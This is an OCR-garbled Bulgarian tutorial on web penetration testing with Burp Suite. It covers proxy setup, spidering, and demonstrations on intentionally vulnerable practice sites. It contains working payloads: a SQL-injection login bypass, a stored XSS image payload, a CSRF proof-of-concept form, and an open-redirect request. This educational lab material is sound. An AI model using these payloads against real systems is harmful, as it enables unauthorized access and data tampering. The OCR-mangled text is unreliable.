BbBenerune B yeb tectBaHeTo
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HacTpoiiBaHe Ha npoKcu BbB Firefox 3a Burpsuite Community .......coeecvveeeeciieeeecciiee e,

M3nons3BaHe Ha Hali-yecTo cpewaHunTe ye6 YASBUMOCTU it



Web Spidering

- MNpemunHaBa npes yeb cTpaHuLaTa, CbOMPaNKn Bpb3KM
- Nokasga ce B, KapTa Ha calita” nog , Llen” B Burpsuite

HacTpoliBaHe Ha npoKcu BbB Firefox 3a obWHOCTTa Ha Burpsuite
- Otngete Ha HacTpoliku -> O6wm -> MperKoBM HACTPOIMKN -> HacTpomnKm

e HacTpoWMKM Ha Bpb3KaTa -> PbyHA KOHPUrypauma Ha NPOKCK
e HTTP npokecn ->127.0.0.1 -> MopT -> 8080

Browsing

W4 Use autoscrollin
{(q) Home = <

Use smooth scrolling

Q Search

& Privacy & Security Search for text when you start typing

Always use the cursor keys to navigate within pages

Q Sync Enable picture-in-picture video controls Learn more

Control media via keyboard, headset, or virtual interface Learn more
m More from Mozilla

Recommend extensions as you browse Learn more

Recommend features as you browse Learn more

Network Settings

5] Extensions & Themes Configure how Firefox connects to the internet. Learn more Settings...

durypa 1: Hacrtpoiiku Ha Firefox

O Manual proxy configuration

HTTP Proxy | 127.0.0.1 Port

Figure 2: Firefox proxy page

8080



- 3a pa koHburypuparte npokcu B Burpsuite
e [lpokcu -> HacTpoiKku Ha npokcu -> Mpokeum -> Caywatenm ->

Burp Suite Community Edition v2023.6.2 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Dacoder ‘Comparer Logger Organizer Extensions Learn @ Sattings
Intercept HTTP history WebSockets history {3} Proxy settings
[ ON ] Settings
| | el ‘ Tools ¥ Proxy Manage global settings :
Al User Proj e 5
ject = (2) Proxy listeners Projec
ook @ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.
~ Tool
Proxy Add Running Interface Invisible Redirect Certiicate LS Protocals Support HTT
Intruder Edit 127.0.0.1:8080 Per-host Defautt (]
Repeater Remove
‘Sequencer
Burp's browser
~ Project
Scope
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating TLS connections. You can impart or export this certificate for use in other tools ¢
Collaborator . N
installation of Burp.
Tasks
Import / export CA certificate Regenerate CA certificate
Automatic backup P P
Logging
Sessions (?) Request interception rules Projec
» Network @ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
» User interface Intercept requests based on the following rules: \aster inferception is turned off
¥ Suite
Add Enabled Operator Match type Relationship Condition
Extensions
Edit File extansion Does not match ("gif3|"jpgs|"png8| csssirjss|ricosirs...
Or Regquest Contains parameters
Remove or HTTP method Does not match (getpost)
M Configuration lib
on Koy T And URL Is in target scope »
- Dawn |

durypa 3: Burpsuite Nnpokcu caylwatenu

Hai-Hakpas 3agaiTe HaCTPOMKM 332 aBTOMATMYHO MasKk B NPUIOXKEHMA 33 06xBaT

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder
Tasks UIVETETRE (3) New live task @ @ @ it

%/ Fiter  Running  Paused

Finished Livetask = Scan  Intruder attack Jol

Capturing: ()

. Live passive crawl from Proxy (suite scope) ) & W
Add links. Add item itzelf, same domain and URLs in suite scope. 14 items added to site map

1 responses processed

0 responses queued

durypa 4: OnuuaA 3a nacuBHo o6xoXKAaaHe




- EKpaHHa CHMMKa, Nnoka3Balla yebcaT c nask B pasaena ,Kapra Ha caiTa“.

Dashboard Target Prooy Intruder Repeater Collaborator ‘Sequencer Decoder Comparer Lopger Organizer
Site map Issue definitions {o} Scope settings
Logging ¥ Re-enable
"/ Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
v http://testaspnet.vulnweb .com Host Method URL Params  Status code Length
5 & Comments.aspx http://testaspnet.vulnwe... GET /default.aspx 200 14226
- http://testaspnet.vulnwe... GET flogin.aspx 200 13509
* % ReadNews.aspx http://testaspnet.vulnwe... GET fComments.aspx
[ Signup.aspx http:/ftestaspnetvulnwe... GET fComments.aspx7id=0 J
H netvulnwe... GET fComments px?id=2 J
about.aspx
[ aboutaspx spnetvulnwe... GET fComments px?id=3 J
[ defauttaspx spnetvulnwe.. GET /ReadNews.aspx
> [T images spnetvulnwe.., GET /ReadNews.aspx7id=04&... v
spnetvulnwe... GET /ReadNews.aspxTid=24&... J
[ login.aspx http://testaspnet.vulnwe... GET /ReadNews.aspxTid=34&... W
™ recFaad acny = Lt o =
durypa 5: 1bpBo Ha LeneBaTa Kapta
-
Han-uecto cpelaHn yasBumocCcTu: OnucaHue:
SQL nHxeKuyma - beKkeHp 6a3a AaHHM HeAOCTaTbK

- CobbepeTte MHbPopmauusa 3a basa
AaHHW ypes 3710HamepeHn SQL
3aABKM

- Moxe ga paswmpu atakata go
nosly4aBaHe Ha 06BMBKa Ha OS u
yeTeHe Ha OS dann, npu ycnosue ye
DB akayHTbT MMa NpuBUIErmm

XSS (mexxaycanTos ckpunT) - HedwuntpupaHumat notpebutencku
BXOJ, BOAW A0 MU3MbJHEHMe Ha
nonesHuA ToBap Ha Javascript

- HepoctaTtbKbT € B NoTpebutenckoto
M3X0AHO KoaupaHe Ha yeb
NPUNOXKEHMETO

- Moxe fa paswupu atakaTa
OOMbAHUTENHO, aKO e CBbp3aHa C
Apyrv yassmmocTtu Kato CSRF

CSRF (Cross Site Request Forgery) - TNoamamsaHe Ha noTpebutena aa
M3BBPLLM AENCTBME Bb3 OCHOBA HA
None3HMA TOBAP Ha aTaKysBaluA

- HepoctaTbKbT Ce HamMpa B TOKEHaA
Ha NPUIOXKEHUETO M KONIKO C/yYaeH
e Tomn

- MoKe ga ce M3non3Ba 3a no-
HaTaTbLWHO U3N0A3BaHE, NPU
YC/IOBME Ye MMa NOBbPXHOCT 33
aTakKa

OTBOpeTe NpeHaco4yBaHe - ['pewka, KOATO NpeHaco4Ba Kbm
NPOU3BOJIEH AOMEMNH
- MNponyck B HTTP noTtoKa Ha




NPUNOXKEHMETO, KOETO BOAMU 4,0
TOBa, Ye BbBeXAaHMAT URL agpec
Ce KOHTPO/Inpa OoT HanagaTena

N3non3BaHe Ha HaM-4ecTo cpewaHnTe ye6 YVA3IBNMOCTH

SQL nHxKeKuma

- Bb3HWKBA, KOraTto HeaesnHPEKUMPAHOTO NOTPEOUTENICKO BbBEXAaHe ce 06paboTsa
B 6a3aTa AaHHM Ha bekeHaa

- ATtakaTta npeuu Ha opurnHanHata SQL 3aaBkKa

- BwHarm BapHo TBbpAEHME, BOAELWO A0 3a06MKanAHe Ha yA0CTOBEPABAHETO

// HTTP POST 3asBKa, NoKa3Ballla BMHar1 sepeH SQL onepatop

POST / login.aspx HTTP/1.1

XocrT: testaspnet.vulnweb.com

MoTtpebutencku areHT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0 )
Gecko/20100101 Firefox/115.0

[...]

[...] tbUsername =% 27+or+1%3D1 --+- & tbPassword = test&cbPersistCookie = on&btnlLogin
=Bxog,

// HTTP oTroBop, NOKa3Baly, yCrewHo BAM3aHe Ha aAMUHUCTPaTop
HTTP/1.1 302 HamepeHo

Cache-Control: private, no-cache="Set-Cookie"

Content-Type: Tekct/html; charset= utf -8

MectononoxeHue: / Default.aspx

[...]

// HTTP GET 3aABKa KbM aAMMUHUCTPATOPCKaTa CTpaHULa

GET / Default.aspx HTTP/1.1

XocT: testaspnet.vulnweb.com

Motpebutencku areHT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0 )
Gecko/20100101 Firefox/115.0

[...]

// HTTP oTrosop

HTTP/1.1 200 OK

Cache-Control: yacTteHn

Content-Type: Tekct/html; charset= utf -8

[...]
[...]



<a href =" logout.aspx " id=" Mainmenu2_IlnkLog " class="menu" name=" InkLog ">
M3nu3aHe Ha agMUHUCTpaTop</a>

[...]

M acunetix et Website fe

about  news post news  network scanner  network vuln help

posted by admin on 5/16/201% 12:32:30 PM  de=e (5] co

= 2023

Acunetix Vulnerability Scanner Now With Network Security Scans Sun Mon T::o‘ed Thu Fri
Seamless OpenVAS integration now also available on Windows and Linux % l; § % ? %
posted by admin on 11872005 11:37:35 AM de== (4 o ents 5 i ﬁ é é 1_:‘
Acunetix Web Vulnerability Scanner Beta Released! g g g i % %
26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has % 3 1 2z 3 a
been released today. The beta is available for download at

http://www.acunetix.com/download;/. Get RES feed

posted by admin on 11/8/2005 11:35:22 AM ceee (5 o

Web Attacks - Can Your Web ApDIlcatlons Withstand The Force?

21 July 2005 - Start-up company Acunetix released Acunetix Web
Vulnerability Scanner: a tool to automatically audit website security. Acunetix
Web Vulnerability Scanner 2 crawls an entire website, launches popular web
attacks (SQL Injection etc.) and identifies vulnerabilities that need to be
fixed.

durypa 6: 3a06uKoneHo BAM3aHe ¢ nomouyTa Ha SQLi

XSS

M3non3BaHeTo nsnonssa 6asmpaHn Ha Javascript nosesHu HaToBapBaHUSA
JedeKT B U3X0AHOTO KogupaHe Ha NoTpebuTeNnckus Bxos,

Tar 3a nsobparkeHue c gobaBsHe Ha None3eH TOBap, KOETO BOAM A0 U3CKaYaLy,
npo3opew, 3a NpeaynpexaeHne Ha ekpaHa

// HTTP POST 3aaBKa

POST /guestbook.php HTTP/1.1

XocT: testphp.vulnweb.com

MoTtpebutencku areHT: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/114.0

[...]
[...]

MMe=aHOHMMeH noTpebuTten& text="><img src=x onerror=alert(1)>& submit=g06aBAHe Ha
cbobuieHue

[...]

// HTTP oTrosop
HTTP/1.1 200 OK
Cbpsbp: nginx/1.19.0

[...]




[...]
<td colspan="2"><img src="/images/remark.gif"'>&nbsp;&nbsp ; "><img src=x
onerror=alert(1)> </td></tr>

[...]

vulnweb.com

¢ testaspnet.vulnweb.com

1

durypa 7: XSS noneseH ToBap, NOKa3Baly KyTUA 3a npeaynpekaeHue

- CnyuBa ce nopagu namnceawm CSRF ToKeHU

- MMpepanara ce B noBevyeTo NoTpedbUTeNckn GyHKLMK, Hanp. NPOMAHA Ha NapoaaTta

- TecTtBaHe Ha PYHKLMOHANHOCTTA 3@ M3TPMBAHeE, NOKa3Ballla, ye He ce npunara CSRF
TOKEH

// HTTP GET 3asaBkKa

GET /Default.aspx?delete=3 HTTP/1.1

XocT: testaspnet.vulnweb.com

MoTtpebutencku areHT: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/114.0

[...]

buckeutka: ASP.NET_Sessionld=sxpmriikzkolpmqzxuhuun3t;
frmLogin=71F9D21793AF77[...]AAE5CEASF9ESEA64705C3F

// HTTP oTrosop

HTTP/1.1 200 OK

Cache-Control: yacteH

Content-Type: Tekct/html; charset=utf-8
[...]



posted by admin on 11/8/2005 11:37:35 AM delete a2dd oo

Acunetix Web Vulnerability Scanner Beta Released!

26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has

been released today. The beta is available for download at

http://www.acunetix.com/download/.

posted by admin on 11/8/2005 11:35:22 AM del=te 2dd o

Web Attacks - Can Your Web Appllcatmns Withstand The Force?

21 July 2005 - Start-up company Acunetix released Acunetix Web

Vulnerability Scanner: a tool to automatically audit website security. Acunetix
Web Vulnerability Scanner 2 crawls an entire website, launches popular web
attacks (SQL Injection etc.) and identifies vulnerabilities that need to be

Finend
®urypa 8: U3nonssaHe Ha GYHKUUATA 33 U3TPUBaHE

GET /Default.aspz?delete=3 HTTP/1.1

Host: testaspnet.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0;

Wined;

xod; rv:109,

Bccept: text/html, application/xhtml+xml, application/xml;qg=0.%

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://testaspnet.vul
DNT: 1

Connection: close

Cookie: ASP.NET SessionId=sxpl
T1F94CAl80FS9E663EEZ63E933A0230
E04431ATF0%66D3T731F25C4865CD4¢
B30C4Z27BAAESCEASFYESEREATOLCE]
Upgrade-Insecure-Requests: 1

durypa 9: N'eHepupaHe Ha CSRF POC

Scan

Do passive scan

Do active scan

5end to Intruder

Send to Repeater

Send to Sequencer
Send to Comparer
send to Decoder
Request in browser
Engagement tools
Change request method
Change body encoding
Copy URL

spx?delete=3

3t; frmLogin=
ECOCEEBC44EF0O
4863825C3F5DB

Find references
Discover content
Schedule task
Generate CSRF PoC



CSRF PoC generator

Request to: http://ftestaspnetvulnweb.com

Pretty Raw Hex

1 GET /Default.aspz?delete=3 HTTE/1.1

2 Host: testaspnet.vulnweb.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; =64; rv:109.0) Gecko
Firefox/114.0
4 Accept:
®@ « 2 Search
CSRF HTML:
1 <html>
2 <l-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4

<gscript>rhistory.pushState('', "', "/'")</script>

5 <form action="http://testaspnet.vulnweb.com/Default.aspz">
6 <input type="hidden”™ name="delete" wvalue="3" />
7 <input type="submit" wvalue="Submit request" />
8 </torm>
9 </body>
10 </html>

®durypa 10: FreHepupaH CSRF POC

CSRF HTML:

1 <html>

2  <l-- CSEF PoC - generated by Burp Suite Professional -->

3 <body>

4 <gcript>history.pushstate('', "', "/'")</script>

5 <form action="http://testaspnet.vulnweb.com/Default.aspz">
6 <input type="hidden" name="delete" walue="3" />

7 <input type="submit" wvalue="Submit request" />

8 </form>

9  </body>

10 </html>

®{§} € ||| | Search 0 matches

Regenerate Copy HTML Close

durypa 11: 3a ga tectBate POC, wpakKHeTe Bbpxy onuuaTa Test in Browser

OTBOpeTe NpeHaco4BaHe

- Pe3ynTaTbT €, e aTaKyBaLLMAT NpeHacoyBa NOTPebUTENCKUA BXO, KbM KOHKpPETEH
AOMenH

- NonesHo BbB Bpb3Ka € XSS aTaku

- Cpewa ce B 3aABKM 3a CTpaHMLA 33 BXOJ, c/le] yCNeLwHo yaocToBepasaHe

// HTTP GET 3asaBkKa
GET /redirect?newurl=http://google.com HTTP/2
XocT: url-redirection-harder-3fda93f9-968e-4dde-827f-4d2a4c6ad149.skf-labs.training



Motpebutencku areHT: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/114.0

[...]

// HTTP oTrosop

HTTP/2 200 OK

Content-Type: Tekct/html; charset=utf-8
MecTtononoskeHue: http://google.com

[...]
[...]

<title>MNpeHacouBaHe...</title>

<h1>MpeHacouBaHe...</h1>

<p>Tpabsa ga 6baeTe NnpeHaco4yeHM aBTOMaTUYHO Kbm Lenesu URL agpec: <a
href="http://google.com">http://google.com</a>. AKko He, LipaKHeTe BbPXY BPb3KaTa.

[...]

Pretty Raw Hex Render

1 HTTP/2Z 302 Found

2 Date: Mon, 31 Jul 2023 15:20:18 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 241

[Location: http://google.com)

Strict-Transport-Security: max-age=157245800; includeSubDomains

w

~1 O U e

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>
Redirecting...
</title>
L0 <hl>
Redirecting...
</hl>
L1 <p>
You should be redirected automatically to target URL: <a href="http://google.com">
http://google.com
</ax>
If not click the link.
durypa 12: EKpaHHa CHUMKa, NnoKa3Bawa URL npeHacouBaHe KbM gomeiiHa Ha Google

[Nale's)

10



